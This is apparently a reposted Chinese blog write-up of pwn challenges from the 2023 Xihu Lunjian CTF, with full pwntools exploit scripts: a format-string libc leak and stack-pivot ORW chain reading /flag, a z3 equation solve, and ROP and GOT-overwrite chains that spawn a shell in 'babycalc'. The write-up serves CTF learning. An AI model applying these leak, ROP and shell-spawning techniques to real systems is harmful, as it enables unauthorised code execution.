2023西湖论剑pwn 部分wp

2023西湖论剑pwn 部分wp

Message Board

这个题在比赛的时候是做出来了

检查一下保护
在这里插入图片描述
开了栈不可执行
再看程序
在这里插入图片描述
59号禁用,那就用orw解题
在这里插入图片描述
一个格式化字符串漏洞,一个栈溢出,但是只能副盖rbp和返回地址,所有要考虑栈迁移
先看格式化字符串漏洞
gdb调试在printf下一个断点
在这里插入图片描述
可以看到
在这里插入图片描述
通过格式化字符串漏洞
泄露出这个函数地址,就能得到 libc——base
偏移在30左右,试了几次发现是31

from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote("tcp.cloud.dasctf.com",29040)
#p=process("./pwn")
libc=ELF("./libc.so.6")
elf=ELF("./pwn")

leave_ret=0x00000000004012e1
bss=0x404080
pop_rdi=0x0000000000401413
main = 0x401378

p.recvuntil("Welcome to DASCTF message board, please leave your name:\n")
#gdb.attach(p)
#pause()
p.sendline(str("%31$p"))
p.recvuntil("Hello, ")
addr=int(p.recvuntil(b"\n")[:-1],16)-243
print(hex(addr))
libc_base=addr-libc.sym["__libc_start_main"]
print(hex(libc_base))

read_addr=libc_base+libc.sym["read"]
write_addr=libc_base+libc.sym["write"]
open_addr=libc_base+libc.sym["open"]
pop_rsi=libc_base+0x000000000002601f   #在libc里找偏移
pop_rdx=libc_base+0x0000000000142c92


p.recvuntil("Now, please say something to DASCTF:\n")
payload=b'a'*0xb0+p64(bss+0x200)+p64(main)   #修改一下rbp
#gdb.attach(p)
#pause()
p.send(payload)

payload = b"/flag\x00\x00\x00" # 0x4041d0
payload += p64(pop_rdi)
payload += p64(0x4041d0)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(open_addr)
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(0x404700)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(read_addr)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(0x404700)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(write_addr)
payload = payload.ljust(0xb0, b"a")
payload += p64(0x4041d0)
payload += p64(leave_ret)    #栈迁移去执行orw,

p.send(payload)

p.interactive()

babycalc

这个题目在比赛的时候没有做出来
在本地复现出来了
先看这个程序
在这里插入图片描述
关键的也就是在这个地方
首先就是,读0x100的话,会将buf[0x100]=0,0x101的位置也就是rbp的最低一个字节置零

而且在buf的下面的变量都是能够覆盖的,也就是说,我们能通过覆盖 i 的值进行数组溢出
也就是*(&v3 + i) = v0 修改一个字节的内容,但是我们也要解一下这个方程,以免程序被exit()
那么现在我们的思路就是
通过修改一个字节使返回地址成为leave ret 实现栈迁移,但是rbp我们没法完全控制,所以只能爆破一下
(因为是rbp的末尾置零,所以有可能迁移到我们写入的0x100里面的gadget)

为了提高命中率,我们可以多放入ret指令,同时要保证每个数都是正确的,以免程序被exit()
先 z3 解方程

from z3 import*
v3=Int('v3')
v4=Int('v4')
v5=Int('v5')
v6=Int('v6')
v7=Int('v7')
v8=Int('v8')
v9=Int('v9')
v10=Int('v10')
v11=Int('v11')
v12=Int('v12')
v13=Int('v13')
v14=Int('v14')
v15=Int('v15')
v16=Int('v16')
v17=Int('v17')
v18=Int('v18')
s=Solver()
s.add(v5 * v4 * v3 - v6 == 36182)
s.add(v3 == 19)
s.add(v5 * 19 * v4 + v6 == 36322)
s.add((v13 + v3 - v8) * v16 == 32835)
s.add((v4 * v3 - v5) * v6 == 44170)
s.add((v5 + v4 * v3) * v6 == 51590)
s.add(v9 * v8 * v7 - v10 == 61549)
s.add(v10 * v15 + v4 + v18 == 19037)
s.add(v9 * v8 * v7 + v10 == 61871)
s.add((v8 * v7 - v9) * v10 == 581693)
s.add(v11 == 50)
s.add((v9 + v8 * v7) * v10 == 587167)
s.add(v13 * v12 * v11 - v14 == 1388499)
s.add(v13 * v12 * v11 + v14 == 1388701)
s.add((v12 * v11 - v13) * v14 == 640138)
s.add((v11 * v5 - v16) * v12 == 321081)
s.add((v13 + v12 * v11) * v14 == 682962)
s.add(v17 * v16 * v15 - v18 == 563565)
s.add(v17 * v16 * v15 + v18 == 563571)
s.add(v14 == 101)
s.add((v16 * v15 - v17) * v18 == 70374)
s.add((v17 + v16 * v15) * v18 == 70518 )
if s.check()==sat:   #检查是否有解
    result=s.model()
    print(result)
else:
    print('无解')
'''
[v3 = 19,
 v11 = 50,
 v14 = 101,
 v13 = 212,
 v16 = 199,
 v6 = 70,
 v4 = 36,
 v5 = 53,
 v9 = 17,
 v17 = 24,
 v15 = 118,
 v18 = 3,
 v7 = 55,
 v12 = 131,
 v10 = 161,
 v8 = 66]
'''

再排一下序
v3 = 19
v4 = 36
v5 = 53
v6 = 70
v7 = 55
v8 = 66
v9 = 17
v10 = 161
v11 = 50
v12 = 131
v13 = 212
v14 = 101
v15 = 118
v16 = 199
v17 = 24
v18 = 3

先给脚本啊吧

from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
#p=remote("tcp.cloud.dasctf.com",29040)
p=process("./babycalc")
elf=ELF("./babycalc")
libc=ELF("./libc-2.31.so")   #本地的libc

leave_ret=0x0000000000400bb7
bss=0x6024e0
ret=0x400C3E
pop=0x0000000000400ca3
main = 0x400650

p.recvuntil(":")
payload=b'00000024'+b'a'*8+p64(ret)*20+p64(pop)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(main)+p8(19)+p8(36)+p8(53)+p8(70)+p8(55)+p8(66)+p8(17)+p8(161)+p8(50)+p8(131)+p8(212)+p8(101)+p8(118)+p8(199)+p8(24)+p8(3)+b'a'*28+p32(56)
#gdb.attach(p)
#pause()
p.send(payload)

p.recvuntil("good done\n")
addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(addr))

libc_base=addr-libc.sym['read']
system=libc_base+libc.sym['system']
bin=libc_base+libc.search(b"/bin/sh").__next__()
print(hex(system))
p.recvuntil(":")
payload=b'00000024'+b'a'*8+p64(ret)*19+p64(pop)+p64(bin)+p64(ret)+p64(system)*2+p8(19)+p8(36)+p8(53)+p8(70)+p8(55)+p8(66)+p8(17)+p8(161)+p8(50)+p8(131)+p8(212)+p8(101)+p8(118)+p8(199)+p8(24)+p8(3)+b'a'*28+p32(56)
#gdb.attach(p)
#pause()
p.send(payload)
p.interactive()

根据距离rbp的距离将相应的变量填入
同时使用多个ret指令进行滑行,提高命中率
第一次泄露地址求libc——base
第二次getshell
这里的main指的是start,
不知道为啥用main会出现一些问题

还有一个很关键的地方
就是为啥system要*2
这个是不 * 2 的情况

在这里插入图片描述大佬说rsp栈的地址末尾要为0
下面是system*2的情况
在这里插入图片描述这个是能打通的,情况就是这个情况,
大佬还说moxaps这个指令要求栈是要对齐的

我看有个大佬的解法很奇特,准备学习一下,待我学成,再来补充另外一种方法。

另外一种方法

法二:

另外一种方法是read函数执行完后会正常执行strtol函数,那么任意地址写可以打一个hijcak got,修改strtol函数的got表为system,并将rbp - 0x100地址内容修改为"/bin/sh\x00",即可getshell
那首先就是先找到一个 pop rbp gadget

在这里插入图片描述

然后就是利用这个gadget修改rbp,再进入
在这里插入图片描述

这样的话,就能使读入的内容,进入到我们想让它存在的地方
因为要修改strol函数的got表地址
所以我们找到该地址
在这里插入图片描述

顺便看了一下读写权限
在这里插入图片描述

能读写,那么直接在0x602008写入/bin/sh\x00
再把strol函数的got地址改为system的地址
所以我们要pop的rbp就应该为0x602008+0x100(不固定,只要是个能写的地方就行)
脚本如下:

from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
#p=remote("tcp.cloud.dasctf.com",29040)
p=process("./babycalc")
elf=ELF("./babycalc")
libc=ELF("./libc-2.31.so")

leave_ret=0x0000000000400bb7
bss=0x6024e0
ret=0x400C3E
pop=0x0000000000400ca3
pop_rbp=0x00000000004006b0
main = 0x400650

p.recvuntil(":")
payload=b'00000024'+b'a'*8+p64(ret)*18+p64(pop)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(pop_rbp)+p64(0x602008+0x100)+p64(0x4007B4)+p8(19)+p8(36)+p8(53)+p8(70)+p8(55)+p8(66)+p8(17)+p8(161)+p8(50)+p8(131)+p8(212)+p8(101)+p8(118)+p8(199)+p8(24)+p8(3)+b'a'*28+p32(56)
#gdb.attach(p)
#pause()
p.send(payload)

p.recvuntil("good done\n")
addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(addr))

libc_base=addr-libc.sym['read']
system=libc_base+libc.sym['system']
bin=libc_base+libc.search(b"/bin/sh").__next__()
print(hex(system))
#p.recvuntil(":")
#payload=b'00000024'+b'a'*8+p64(ret)*19+p64(pop)+p64(bin)+p64(ret)+p64(system)*2+p8(19)+p8(36)+p8(53)+p8(70)+p8(55)+p8(66)+p8(17)+p8(161)+p8(50)+p8(131)+p8(212)+p8(101)+p8(118)+p8(199)+p8(24)+p8(3)+b'a'*28+p32(56)
payload=b'/bin/sh\x00'+b'a'*40+p64(system)
gdb.attach(p)
pause()
p.send(payload)

p.interactive()

猜你喜欢

转载自blog.csdn.net/cainiao78777/article/details/129101823